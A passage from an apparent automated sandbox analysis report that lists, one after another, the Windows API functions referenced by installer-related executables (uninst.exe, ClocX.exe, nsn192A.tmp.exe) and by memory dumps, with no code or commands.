"uninst.exe.167212768") Found reference to API (Indicator: "CopyFileA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetEnvironmentVariableA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetWindowsDirectoryA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetTempPathA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetCommandLineA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "lstrlenA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetVersionExA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetErrorMode"; File: "uninst.exe.167212768") Found reference to API (Indicator: "lstrcpynA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GlobalUnlock"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GlobalLock"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CreateThread"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetLastError"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CreateDirectoryA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CreateProcessA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "RemoveDirectoryA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "CreateFileA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetTempFileNameA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "ReadFile"; File: "uninst.exe.167212768") Found reference to API (Indicator: "WriteFile"; File: "uninst.exe.167212768") Found reference to API (Indicator: "lstrcpyA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "MoveFileExA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "lstrcatA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "WideCharToMultiByte"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetSystemDirectoryA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetExitCodeProcess"; File: "uninst.exe.167212768") Found reference to API (Indicator: "WaitForSingleObject"; File: "uninst.exe.167212768") Found reference to API (Indicator: "VerQueryValueA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SHGetFolderPathA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SHGetKnownFolderPath"; File: "uninst.exe.167212768") Found reference to API (Indicator: "RegDeleteKeyExA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetUserDefaultUILanguage"; File: "uninst.exe.167212768") Found reference to API (Indicator: "GetDiskFreeSpaceExA"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SetDefaultDllDirectories"; File: "uninst.exe.167212768") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "RegOpenKeyTransactedA"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "RegCreateKeyTransactedA"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "MessageBoxW"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "GetActiveWindow"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "GetLastActivePopup"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "GetUserObjectInformationW"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "GetProcessWindowStation"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "UpdateLayeredWindow"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "GetFileAttributesTransactedA"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "RegisterApplicationRestart"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "RegisterApplicationRecoveryCallback"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "ApplicationRecoveryInProgress"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "ApplicationRecoveryFinished"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "GetThreadPreferredUILanguages"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "CreateFileTransactedA"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "RegDeleteKeyTransactedA"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "FlsAlloc"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "FlsGetValue"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "FlsSetValue"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "FlsFree"; File: "ClocX.exe.2694322656") Found reference to API (Indicator: "DecodePointer"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "MessageBoxA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetUserObjectInformationA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetTempFileNameW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "SetPriorityClass"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "WriteConsoleOutputCharacterW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "LoadResource"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "MoveFileExW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "SetDefaultCommConfigW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "CreateJobObjectW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "SetHandleInformation"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetProfileStringW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "SetTapeParameters"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetCompressedFileSizeW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "CancelDeviceWakeupRequest"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetConsoleAliasExesLengthW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetFileAttributesW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "IsDBCSLeadByte"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "ExitThread"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "SetConsoleTitleA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "LocalLock"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "DisableThreadLibraryCalls"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetAtomNameA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "OpenWaitableTimerW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "SetConsoleDisplayMode"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "AddAtomW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "SetConsoleCursorInfo"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "QueryMemoryResourceNotification"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "SetFileShortNameA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "LocalSize"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "CopyFileExA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetDesktopWindow"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "PrivilegedServiceAuditAlarmA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "RegRestoreKeyA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetPrivateObjectSecurity"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "IsValidSid"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "ReadEventLogA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetStartupInfoW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "RtlUnwind"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "InterlockedIncrement"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "InterlockedDecrement"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "FatalAppExitA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "SetConsoleCtrlHandler"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "InterlockedExchange"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetCommandLineW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "SetHandleCount"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetStartupInfoA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "HeapCreate"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "HeapDestroy"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetConsoleMode"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetCPInfo"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetACP"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetOEMCP"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "IsValidCodePage"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "HeapReAlloc"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "HeapSize"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetLocaleInfoW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetLocaleInfoA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "SetStdHandle"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "WriteConsoleA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "WriteConsoleW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "LCMapStringA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "LCMapStringW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetStringTypeA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetStringTypeW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetTimeFormatA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetDateFormatA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetUserDefaultLCID"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "EnumSystemLocalesA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "IsValidLocale"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "SetEndOfFile"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "GetTimeZoneInformation"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "CompareStringA"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "CompareStringW"; File: "nsn192A.tmp.exe.3883771997") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SHFileOperationW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SHGetFileInfoW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SHBrowseForFolderW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SHGetPathFromIDListW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "ShellExecuteExW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "IIDFromString"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "OleUninitialize"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "OleInitialize"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "FillRect"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetClientRect"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "BeginPaint"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "DefWindowProcW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "InvalidateRect"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "LoadImageW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "IsWindow"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "wsprintfW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "PostQuitMessage"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "SetTimer"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "DestroyWindow"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "CreateWindowExW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SystemParametersInfoW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "RegisterClassW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "ScreenToClient"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "EnableMenuItem"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMenu"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "IsWindowEnabled"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "GetSysColor"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SetCursor"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "LoadCursorW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "IsWindowVisible"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "CloseClipboard"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "EmptyClipboard"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "TrackPopupMenu"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "AppendMenuW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "CreatePopupMenu"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "CharPrevW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "wsprintfA"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "DispatchMessageW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "PeekMessageW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "CreateFontIndirectW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "FindFirstFileW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "lstrcmpiW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "CompareFileTime"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "MoveFileW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "SetErrorMode"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "lstrcpynW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "CreateDirectoryW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpiA"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "GetTempFileNameW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API (Indicator: "lstrcpyA"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "MoveFileExW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp") Found reference to API (Indicator: "lstrcatW"; Source: "00000000-00001216.00000000.67526.00408000.00000002.mdmp, 00000000-00001216.00000000.67526.0040A000.00000004.mdmp, 00000000-00001216.00000000.67526.10001000.00000020.mdmp") Found reference to API 